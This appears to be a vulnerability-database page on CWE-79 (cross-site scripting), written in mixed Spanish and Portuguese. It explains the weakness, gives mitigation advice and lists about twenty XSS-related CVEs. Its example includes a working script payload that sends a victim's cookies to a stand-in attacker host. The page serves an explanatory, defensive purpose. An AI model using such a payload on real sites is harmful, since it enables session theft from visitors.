Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-3484MEDIUMWPB Show Core - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2011-4346MEDIUMSatellite: xss in custom system information key handlingEPSS 1.2%CVE-2021-24429—Salon Booking System < 6.3.1 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.2%CVE-2017-6764—A vulnerability in the web-based management interface of Cisco Adaptive Security Appliance (ASA) 9.5(1) could allow an authenticated, remoteEPSS 1.2%CVE-2023-38121HIGHInductive Automation Ignition OPC UA Quick Client Cross-Site Scripting Remote Code Execution VulnerabilityEPSS 1.2%CVE-2021-24964MEDIUMLiteSpeed Cache < 4.4.4 - IP Check Bypass to Unauthenticated Stored XSSEPSS 1.2%CVE-2022-42750HIGHCandidATS version 3.0.0 allows an external attacker to steal the cookie of arbitrary users. This is possible because the application does noEPSS 1.2%CVE-2023-45144CRITICALRemote code execution from login screen through unescaped URL parameter in OAuth Identity XWiki AppEPSS 1.2%CVE-2022-0121HIGHCross-site Scripting in hoppscotch/hoppscotchEPSS 1.2%CVE-2017-6761—A vulnerability in the web-based management interface of Cisco Finesse 10.6(1) and 11.5(1) could allow an unauthenticated, remote attacker tEPSS 1.2%CVE-2017-12212—A vulnerability in the web framework of Cisco Unity Connection could allow an unauthenticated, remote attacker to conduct a reflected cross-EPSS 1.2%CVE-2017-6762—A vulnerability in the web-based management interface of Cisco Jabber Guest Server 10.6(9), 11.0(0), and 11.0(1) could allow an unauthenticaEPSS 1.2%CVE-2021-24304—Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)EPSS 1.2%CVE-2020-1766LOWImproper handling of uploaded inline imagesEPSS 1.2%CVE-2023-45757—Apache bRPC: The builtin service rpcz page has an XSS attack vulnerabilityEPSS 1.2%CVE-2022-20659MEDIUMCisco Prime Infrastructure and Evolved Programmable Network Manager Cross-Site Scripting VulnerabilityEPSS 1.2%CVE-2018-15393MEDIUMCisco Content Security Management Appliance (SMA) Cross-Site Scripting VulnerabilityEPSS 1.2%CVE-2024-4405HIGHXiaomi Pro 13 mimarket manual-upgrade Cross-Site Scripting Remote Code Execution VulnerabilityEPSS 1.2%CVE-2021-24994—WPvivid Backup and Migration Plugin < 0.9.69 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2022-1432HIGHCross-site Scripting (XSS) - Generic in octoprint/octoprintEPSS 1.2%